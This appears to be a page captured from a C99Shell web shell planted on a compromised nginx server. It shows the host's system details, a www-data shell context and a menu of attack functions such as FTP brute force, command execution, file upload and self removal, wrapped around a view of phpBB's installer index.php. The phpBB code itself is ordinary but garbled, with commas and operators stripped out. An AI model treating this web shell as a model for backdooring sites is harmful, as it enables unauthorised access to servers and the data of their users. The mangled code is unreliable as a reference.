!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/install6/   drwxrwxr-x
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (21.41 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @package install
* @version $Id$
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**#@+
* @ignore
*/
define('IN_PHPBB'true);
define('IN_INSTALL'true);
/**#@-*/

$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH './../';
$phpEx substr(strrchr(__FILE__'.'), 1);

// Report all errors, except notices and deprecation messages
if (!defined('E_DEPRECATED'))
{
    
define('E_DEPRECATED'8192);
}
error_reporting(E_ALL E_NOTICE E_DEPRECATED);

// @todo Review this test and see if we can find out what it is which prevents PHP 4.2.x from even displaying the page with requirements on it
if (version_compare(PHP_VERSION'4.3.3') < 0)
{
    die(
'You are running an unsupported PHP version. Please upgrade to PHP 4.3.3 or higher before trying to install phpBB 3.0');
}

/*
* Remove variables created by register_globals from the global scope
* Thanks to Matt Kavanagh
*/
function deregister_globals()
{
    
$not_unset = array(
        
'GLOBALS'    => true,
        
'_GET'        => true,
        
'_POST'        => true,
        
'_COOKIE'    => true,
        
'_REQUEST'    => true,
        
'_SERVER'    => true,
        
'_SESSION'    => true,
        
'_ENV'        => true,
        
'_FILES'    => true,
        
'phpEx'        => true,
        
'phpbb_root_path'    => true
    
);

    
// Not only will array_merge and array_keys give a warning if
    // a parameter is not an array, array_merge will actually fail.
    // So we check if _SESSION has been initialised.
    
if (!isset($_SESSION) || !is_array($_SESSION))
    {
        
$_SESSION = array();
    }

    
// Merge all into one extremely huge array; unset this later
    
$input array_merge(
        
array_keys($_GET),
        
array_keys($_POST),
        
array_keys($_COOKIE),
        
array_keys($_SERVER),
        
array_keys($_SESSION),
        
array_keys($_ENV),
        
array_keys($_FILES)
    );

    foreach (
$input as $varname)
    {
        if (isset(
$not_unset[$varname]))
        {
            
// Hacking attempt. No point in continuing unless it's a COOKIE
            
if ($varname !== 'GLOBALS' || isset($_GET['GLOBALS']) || isset($_POST['GLOBALS']) || isset($_SERVER['GLOBALS']) || isset($_SESSION['GLOBALS']) || isset($_ENV['GLOBALS']) || isset($_FILES['GLOBALS']))
            {
                exit;
            }
            else
            {
                
$cookie = &$_COOKIE;
                while (isset(
$cookie['GLOBALS']))
                {
                    foreach (
$cookie['GLOBALS'] as $registered_var => $value)
                    {
                        if (!isset(
$not_unset[$registered_var]))
                        {
                            unset(
$GLOBALS[$registered_var]);
                        }
                    }
                    
$cookie = &$cookie['GLOBALS'];
                }
            }
        }

        unset(
$GLOBALS[$varname]);
    }

    unset(
$input);
}

// If we are on PHP >= 6.0.0 we do not need some code
if (version_compare(PHP_VERSION'6.0.0-dev''>='))
{
    
/**
    * @ignore
    */
    
define('STRIP'false);
}
else
{
    @
set_magic_quotes_runtime(0);

    
// Be paranoid with passed vars
    
if (@ini_get('register_globals') == '1' || strtolower(@ini_get('register_globals')) == 'on')
    {
        
deregister_globals();
    }

    
define('STRIP', (get_magic_quotes_gpc()) ? true false);
}

// Try to override some limits - maybe it helps some...
@set_time_limit(0);
$mem_limit = @ini_get('memory_limit');
if (!empty(
$mem_limit))
{
    
$unit strtolower(substr($mem_limit, -11));
    
$mem_limit = (int) $mem_limit;

    if (
$unit == 'k')
    {
        
$mem_limit floor($mem_limit 1024);
    }
    else if (
$unit == 'g')
    {
        
$mem_limit *= 1024;
    }
    else if (
is_numeric($unit))
    {
        
$mem_limit floor((int) ($mem_limit $unit) / 1048576);
    }
    
$mem_limit max(128$mem_limit) . 'M';
}
else
{
    
$mem_limit '128M';
}
@
ini_set('memory_limit'$mem_limit);

// Include essential scripts
require($phpbb_root_path 'includes/functions.' $phpEx);

if (
file_exists($phpbb_root_path 'includes/functions_content.' $phpEx))
{
    require(
$phpbb_root_path 'includes/functions_content.' $phpEx);
}

include(
$phpbb_root_path 'includes/auth.' $phpEx);
include(
$phpbb_root_path 'includes/session.' $phpEx);
include(
$phpbb_root_path 'includes/template.' $phpEx);
include(
$phpbb_root_path 'includes/acm/acm_file.' $phpEx);
include(
$phpbb_root_path 'includes/cache.' $phpEx);
include(
$phpbb_root_path 'includes/functions_admin.' $phpEx);
include(
$phpbb_root_path 'includes/utf/utf_tools.' $phpEx);
require(
$phpbb_root_path 'includes/functions_install.' $phpEx);

// Try and load an appropriate language if required
$language basename(request_var('language'''));

if (!empty(
$_SERVER['HTTP_ACCEPT_LANGUAGE']) && !$language)
{
    
$accept_lang_ary explode(','strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']));
    foreach (
$accept_lang_ary as $accept_lang)
    {
        
// Set correct format ... guess full xx_yy form
        
$accept_lang substr($accept_lang02) . '_' substr($accept_lang32);

        if (
file_exists($phpbb_root_path 'language/' $accept_lang) && is_dir($phpbb_root_path 'language/' $accept_lang))
        {
            
$language $accept_lang;
            break;
        }
        else
        {
            
// No match on xx_yy so try xx
            
$accept_lang substr($accept_lang02);
            if (
file_exists($phpbb_root_path 'language/' $accept_lang) && is_dir($phpbb_root_path 'language/' $accept_lang))
            {
                
$language $accept_lang;
                break;
            }
        }
    }
}

// No appropriate language found ... so let's use the first one in the language
// dir, this may or may not be English
if (!$language)
{
    
$dir = @opendir($phpbb_root_path 'language');

    if (!
$dir)
    {
        die(
'Unable to access the language directory');
        exit;
    }

    while ((
$file readdir($dir)) !== false)
    {
        
$path $phpbb_root_path 'language/' $file;

        if (!
is_file($path) && !is_link($path) && file_exists($path '/iso.txt'))
        {
            
$language $file;
            break;
        }
    }
    
closedir($dir);
}

if (!
file_exists($phpbb_root_path 'language/' $language) || !is_dir($phpbb_root_path 'language/' $language))
{
    die(
'No language found!');
}

// And finally, load the relevant language files
include($phpbb_root_path 'language/' $language '/common.' $phpEx);
include(
$phpbb_root_path 'language/' $language '/acp/common.' $phpEx);
include(
$phpbb_root_path 'language/' $language '/acp/board.' $phpEx);
include(
$phpbb_root_path 'language/' $language '/install.' $phpEx);
include(
$phpbb_root_path 'language/' $language '/posting.' $phpEx);

// usually we would need every single constant here - and it would be consistent. For 3.0.x, use a dirty hack... :(

// Define needed constants
define('CHMOD_ALL'7);
define('CHMOD_READ'4);
define('CHMOD_WRITE'2);
define('CHMOD_EXECUTE'1);

$mode request_var('mode''overview');
$sub request_var('sub''');

// Set PHP error handler to ours
set_error_handler(defined('PHPBB_MSG_HANDLER') ? PHPBB_MSG_HANDLER 'msg_handler');

$user = new user();
$auth = new auth();
$cache = new cache();
$template = new template();

// Add own hook handler, if present. :o
if (file_exists($phpbb_root_path 'includes/hooks/index.' $phpEx))
{
    require(
$phpbb_root_path 'includes/hooks/index.' $phpEx);
    
$phpbb_hook = new phpbb_hook(array('exit_handler''phpbb_user_session_handler''append_sid', array('template''display')));

    foreach (
$cache->obtain_hooks() as $hook)
    {
        @include(
$phpbb_root_path 'includes/hooks/' $hook '.' $phpEx);
    }
}
else
{
    
$phpbb_hook false;
}

// Set some standard variables we want to force
$config = array(
    
'load_tplcompile'    => '1'
);

$template->set_custom_template('../adm/style''admin');
$template->assign_var('T_TEMPLATE_PATH''../adm/style');

// the acp template is never stored in the database
$user->theme['template_storedb'] = false;

$install = new module();

$install->create('install'"index.$phpEx"$mode$sub);
$install->load();

// Generate the page
$install->page_header();
$install->generate_navigation();

$template->set_filenames(array(
    
'body' => $install->get_tpl_name())
);

$install->page_footer();

/**
* @package install
*/
class module
{
    var 
$id 0;
    var 
$type 'install';
    var 
$module_ary = array();
    var 
$filename;
    var 
$module_url '';
    var 
$tpl_name '';
    var 
$mode;
    var 
$sub;

    
/**
    * Private methods, should not be overwritten
    */
    
function create($module_type$module_url$selected_mod false$selected_submod false)
    {
        global 
$db$config$phpEx$phpbb_root_path;

        
$module = array();

        
// Grab module information using Bart's "neat-o-module" system (tm)
        
$dir = @opendir('.');

        if (!
$dir)
        {
            
$this->error('Unable to access the installation directory'__LINE____FILE__);
        }

        
$setmodules 1;
        while ((
$file readdir($dir)) !== false)
        {
            if (
preg_match('#^install_(.*?)\.' $phpEx '$#'$file))
            {
                include(
$file);
            }
        }
        
closedir($dir);

        unset(
$setmodules);

        if (!
sizeof($module))
        {
            
$this->error('No installation modules found'__LINE____FILE__);
        }

        
// Order to use and count further if modules get assigned to the same position or not having an order
        
$max_module_order 1000;

        foreach (
$module as $row)
        {
            
// Module order not specified or module already assigned at this position?
            
if (!isset($row['module_order']) || isset($this->module_ary[$row['module_order']]))
            {
                
$row['module_order'] = $max_module_order;
                
$max_module_order++;
            }

            
$this->module_ary[$row['module_order']]['name'] = $row['module_title'];
            
$this->module_ary[$row['module_order']]['filename'] = $row['module_filename'];
            
$this->module_ary[$row['module_order']]['subs'] = $row['module_subs'];
            
$this->module_ary[$row['module_order']]['stages'] = $row['module_stages'];

            if (
strtolower($selected_mod) == strtolower($row['module_title']))
            {
                
$this->id = (int) $row['module_order'];
                
$this->filename = (string) $row['module_filename'];
                
$this->module_url = (string) $module_url;
                
$this->mode = (string) $selected_mod;
                
// Check that the sub-mode specified is valid or set a default if not
                
if (is_array($row['module_subs']))
                {
                    
$this->sub strtolower((in_array(strtoupper($selected_submod), $row['module_subs'])) ? $selected_submod $row['module_subs'][0]);
                }
                else if (
is_array($row['module_stages']))
                {
                    
$this->sub strtolower((in_array(strtoupper($selected_submod), $row['module_stages'])) ? $selected_submod $row['module_stages'][0]);
                }
                else
                {
                    
$this->sub '';
                }
            }
        } 
// END foreach
    
// END create

    /**
    * Load and run the relevant module if applicable
    */
    
function load($mode false$run true)
    {
        global 
$phpbb_root_path$phpEx;

        if (
$run)
        {
            if (!empty(
$mode))
            {
                
$this->mode $mode;
            }

            
$module $this->filename;
            if (!
class_exists($module))
            {
                
$this->error('Module "' htmlspecialchars($module) . '" not accessible.'__LINE____FILE__);
            }
            
$this->module = new $module($this);

            if (
method_exists($this->module'main'))
            {
                
$this->module->main($this->mode$this->sub);
            }
        }
    }

    
/**
    * Output the standard page header
    */
    
function page_header()
    {
        if (
defined('HEADER_INC'))
        {
            return;
        }

        
define('HEADER_INC'true);
        global 
$template$lang$stage$phpbb_root_path;

        
$template->assign_vars(array(
            
'L_CHANGE'                => $lang['CHANGE'],
            
'L_INSTALL_PANEL'        => $lang['INSTALL_PANEL'],
            
'L_SELECT_LANG'            => $lang['SELECT_LANG'],
            
'L_SKIP'                => $lang['SKIP'],
            
'PAGE_TITLE'            => $this->get_page_title(),
            
'T_IMAGE_PATH'            => $phpbb_root_path 'adm/images/',

            
'S_CONTENT_DIRECTION'     => $lang['DIRECTION'],
            
'S_CONTENT_FLOW_BEGIN'    => ($lang['DIRECTION'] == 'ltr') ? 'left' 'right',
            
'S_CONTENT_FLOW_END'    => ($lang['DIRECTION'] == 'ltr') ? 'right' 'left',
            
'S_CONTENT_ENCODING'     => 'UTF-8',

            
'S_USER_LANG'            => $lang['USER_LANG'],
            )
        );

        
header('Content-type: text/html; charset=UTF-8');
        
header('Cache-Control: private, no-cache="set-cookie"');
        
header('Expires: 0');
        
header('Pragma: no-cache');

        return;
    }

    
/**
    * Output the standard page footer
    */
    
function page_footer()
    {
        global 
$db$template;

        
$template->display('body');

        
// Close our DB connection.
        
if (!empty($db) && is_object($db))
        {
            
$db->sql_close();
        }

        if (
function_exists('exit_handler'))
        {
            
exit_handler();
        }
    }

    
/**
    * Returns desired template name
    */
    
function get_tpl_name()
    {
        return 
$this->module->tpl_name '.html';
    }

    
/**
    * Returns the desired page title
    */
    
function get_page_title()
    {
        global 
$lang;

        if (!isset(
$this->module->page_title))
        {
            return 
'';
        }

        return (isset(
$lang[$this->module->page_title])) ? $lang[$this->module->page_title] : $this->module->page_title;
    }

    
/**
    * Generate an HTTP/1.1 header to redirect the user to another page
    * This is used during the installation when we do not have a database available to call the normal redirect function
    * @param string $page The page to redirect to relative to the installer root path
    */
    
function redirect($page)
    {
        
// HTTP_HOST is having the correct browser url in most cases...
        
$server_name = (!empty($_SERVER['HTTP_HOST'])) ? strtolower($_SERVER['HTTP_HOST']) : ((!empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : getenv('SERVER_NAME'));
        
$server_port = (!empty($_SERVER['SERVER_PORT'])) ? (int) $_SERVER['SERVER_PORT'] : (int) getenv('SERVER_PORT');
        
$secure = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 0;

        
$script_name = (!empty($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : getenv('PHP_SELF');
        if (!
$script_name)
        {
            
$script_name = (!empty($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : getenv('REQUEST_URI');
        }

        
// Replace backslashes and doubled slashes (could happen on some proxy setups)
        
$script_name str_replace(array('\\''//'), '/'$script_name);
        
$script_path trim(dirname($script_name));

        
$url = (($secure) ? 'https://' 'http://') . $server_name;

        if (
$server_port && (($secure && $server_port <> 443) || (!$secure && $server_port <> 80)))
        {
            
// HTTP HOST can carry a port number...
            
if (strpos($server_name':') === false)
            {
                
$url .= ':' $server_port;
            }
        }

        
$url .= $script_path '/' $page;
        
header('Location: ' $url);
        exit;
    }

    
/**
    * Generate the navigation tabs
    */
    
function generate_navigation()
    {
        global 
$lang$template$phpEx$language;

        if (
is_array($this->module_ary))
        {
            @
ksort($this->module_ary);
            foreach (
$this->module_ary as $cat_ary)
            {
                
$cat $cat_ary['name'];
                
$l_cat = (!empty($lang['CAT_' $cat])) ? $lang['CAT_' $cat] : preg_replace('#_#'' '$cat);
                
$cat strtolower($cat);
                
$url $this->module_url "?mode=$cat&amp;language=$language";

                if (
$this->mode == $cat)
                {
                    
$template->assign_block_vars('t_block1', array(
                        
'L_TITLE'        => $l_cat,
                        
'S_SELECTED'    => true,
                        
'U_TITLE'        => $url,
                    ));

                    if (
is_array($this->module_ary[$this->id]['subs']))
                    {
                        
$subs $this->module_ary[$this->id]['subs'];
                        foreach (
$subs as $option)
                        {
                            
$l_option = (!empty($lang['SUB_' $option])) ? $lang['SUB_' $option] : preg_replace('#_#'' '$option);
                            
$option strtolower($option);
                            
$url $this->module_url '?mode=' $this->mode "&amp;sub=$option&amp;language=$language";

                            
$template->assign_block_vars('l_block1', array(
                                
'L_TITLE'        => $l_option,
                                
'S_SELECTED'    => ($this->sub == $option),
                                
'U_TITLE'        => $url,
                            ));
                        }
                    }

                    if (
is_array($this->module_ary[$this->id]['stages']))
                    {
                        
$subs $this->module_ary[$this->id]['stages'];
                        
$matched false;
                        foreach (
$subs as $option)
                        {
                            
$l_option = (!empty($lang['STAGE_' $option])) ? $lang['STAGE_' $option] : preg_replace('#_#'' '$option);
                            
$option strtolower($option);
                            
$matched = ($this->sub == $option) ? true $matched;

                            
$template->assign_block_vars('l_block2', array(
                                
'L_TITLE'        => $l_option,
                                
'S_SELECTED'    => ($this->sub == $option),
                                
'S_COMPLETE'    => !$matched,
                            ));
                        }
                    }
                }
                else
                {
                    
$template->assign_block_vars('t_block1', array(
                        
'L_TITLE'        => $l_cat,
                        
'S_SELECTED'    => false,
                        
'U_TITLE'        => $url,
                    ));
                }
            }
        }
    }

    
/**
    * Output an error message
    * If skip is true, return and continue execution, else exit
    */
    
function error($error$line$file$skip false)
    {
        global 
$lang$db$template;

        if (
$skip)
        {
            
$template->assign_block_vars('checks', array(
                
'S_LEGEND'    => true,
                
'LEGEND'    => $lang['INST_ERR'],
            ));

            
$template->assign_block_vars('checks', array(
                
'TITLE'        => basename($file) . ' [ ' $line ' ]',
                
'RESULT'    => '<b style="color:red">' $error '</b>',
            ));

            return;
        }

        echo 
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
        echo 
'<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">';
        echo 
'<head>';
        echo 
'<meta http-equiv="content-type" content="text/html; charset=utf-8" />';
        echo 
'<title>' $lang['INST_ERR_FATAL'] . '</title>';
        echo 
'<link href="../adm/style/admin.css" rel="stylesheet" type="text/css" media="screen" />';
        echo 
'</head>';
        echo 
'<body id="errorpage">';
        echo 
'<div id="wrap">';
        echo 
'    <div id="page-header">';
        echo 
'    </div>';
        echo 
'    <div id="page-body">';
        echo 
'        <div id="acp">';
        echo 
'        <div class="panel">';
        echo 
'            <span class="corners-top"><span></span></span>';
        echo 
'            <div id="content">';
        echo 
'                <h1>' $lang['INST_ERR_FATAL'] . '</h1>';
        echo 
'        <p>' $lang['INST_ERR_FATAL'] . "</p>\n";
        echo 
'        <p>' basename($file) . ' [ ' $line " ]</p>\n";
        echo 
'        <p><b>' $error "</b></p>\n";
        echo 
'            </div>';
        echo 
'            <span class="corners-bottom"><span></span></span>';
        echo 
'        </div>';
        echo 
'        </div>';
        echo 
'    </div>';
        echo 
'    <div id="page-footer">';
        echo 
'        Powered by phpBB &copy; 2000, 2002, 2005, 2007 <a href="http://www.phpbb.com/">phpBB Group</a>';
        echo 
'    </div>';
        echo 
'</div>';
        echo 
'</body>';
        echo 
'</html>';

        if (!empty(
$db) && is_object($db))
        {
            
$db->sql_close();
        }

        
exit_handler();
    }

    
/**
    * Output an error message for a database related problem
    * If skip is true, return and continue execution, else exit
    */
    
function db_error($error$sql$line$file$skip false)
    {
        global 
$lang$db$template;

        if (
$skip)
        {
            
$template->assign_block_vars('checks', array(
                
'S_LEGEND'    => true,
                
'LEGEND'    => $lang['INST_ERR_FATAL'],
            ));

            
$template->assign_block_vars('checks', array(
                
'TITLE'        => basename($file) . ' [ ' $line ' ]',
                
'RESULT'    => '<b style="color:red">' $error '</b><br />&#187; SQL:' $sql,
            ));

            return;
        }

        
$template->set_filenames(array(
            
'body' => 'install_error.html')
        );
        
$this->page_header();
        
$this->generate_navigation();

        
$template->assign_vars(array(
            
'MESSAGE_TITLE'        => $lang['INST_ERR_FATAL_DB'],
            
'MESSAGE_TEXT'        => '<p>' basename($file) . ' [ ' $line ' ]</p><p>SQL : ' $sql '</p><p><b>' $error '</b></p>',
        ));

        
// Rollback if in transaction
        
if ($db->transaction)
        {
            
$db->sql_transaction('rollback');
        }

        
$this->page_footer();
    }

    
/**
    * Generate the relevant HTML for an input field and the associated label and explanatory text
    */
    
function input_field($name$type$value=''$options='')
    {
        global 
$lang;
        
$tpl_type explode(':'$type);
        
$tpl '';

        switch (
$tpl_type[0])
        {
            case 
'text':
            case 
'password':
                
$size = (int) $tpl_type[1];
                
$maxlength = (int) $tpl_type[2];

                
$tpl '<input id="' $name '" type="' $tpl_type[0] . '"' . (($size) ? ' size="' $size '"' '') . ' maxlength="' . (($maxlength) ? $maxlength 255) . '" name="' $name '" value="' $value '" />';
            break;

            case 
'textarea':
                
$rows = (int) $tpl_type[1];
                
$cols = (int) $tpl_type[2];

                
$tpl '<textarea id="' $name '" name="' $name '" rows="' $rows '" cols="' $cols '">' $value '</textarea>';
            break;

            case 
'radio':
                
$key_yes    = ($value) ? ' checked="checked" id="' $name '"' '';
                
$key_no        = (!$value) ? ' checked="checked" id="' $name '"' '';

                
$tpl_type_cond explode('_'$tpl_type[1]);
                
$type_no = ($tpl_type_cond[0] == 'disabled' || $tpl_type_cond[0] == 'enabled') ? false true;

                
$tpl_no '<label><input type="radio" name="' $name '" value="0"' $key_no ' class="radio" /> ' . (($type_no) ? $lang['NO'] : $lang['DISABLED']) . '</label>';
                
$tpl_yes '<label><input type="radio" name="' $name '" value="1"' $key_yes ' class="radio" /> ' . (($type_no) ? $lang['YES'] : $lang['ENABLED']) . '</label>';

                
$tpl = ($tpl_type_cond[0] == 'yes' || $tpl_type_cond[0] == 'enabled') ? $tpl_yes '&nbsp;&nbsp;' $tpl_no $tpl_no '&nbsp;&nbsp;' $tpl_yes;
            break;

            case 
'select':
                eval(
'$s_options = ' str_replace('{VALUE}'$value$options) . ';');
                
$tpl '<select id="' $name '" name="' $name '">' $s_options '</select>';
            break;

            case 
'custom':
                eval(
'$tpl = ' str_replace('{VALUE}'$value$options) . ';');
            break;

            default:
            break;
        }

        return 
$tpl;
    }

    
/**
    * Generate the drop down of available language packs
    */
    
function inst_language_select($default '')
    {
        global 
$phpbb_root_path$phpEx;

        
$dir = @opendir($phpbb_root_path 'language');

        if (!
$dir)
        {
            
$this->error('Unable to access the language directory'__LINE____FILE__);
        }

        while (
$file readdir($dir))
        {
            
$path $phpbb_root_path 'language/' $file;

            if (
$file == '.' || $file == '..' || is_link($path) || is_file($path) || $file == 'CVS')
            {
                continue;
            }

            if (
file_exists($path '/iso.txt'))
            {
                list(
$displayname$localname) = @file($path '/iso.txt');
                
$lang[$localname] = $file;
            }
        }
        
closedir($dir);

        @
asort($lang);
        @
reset($lang);

        
$user_select '';
        foreach (
$lang as $displayname => $filename)
        {
            
$selected = (strtolower($default) == strtolower($filename)) ? ' selected="selected"' '';
            
$user_select .= '<option value="' $filename '"' $selected '>' ucwords($displayname) . '</option>';
        }

        return 
$user_select;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0049 ]--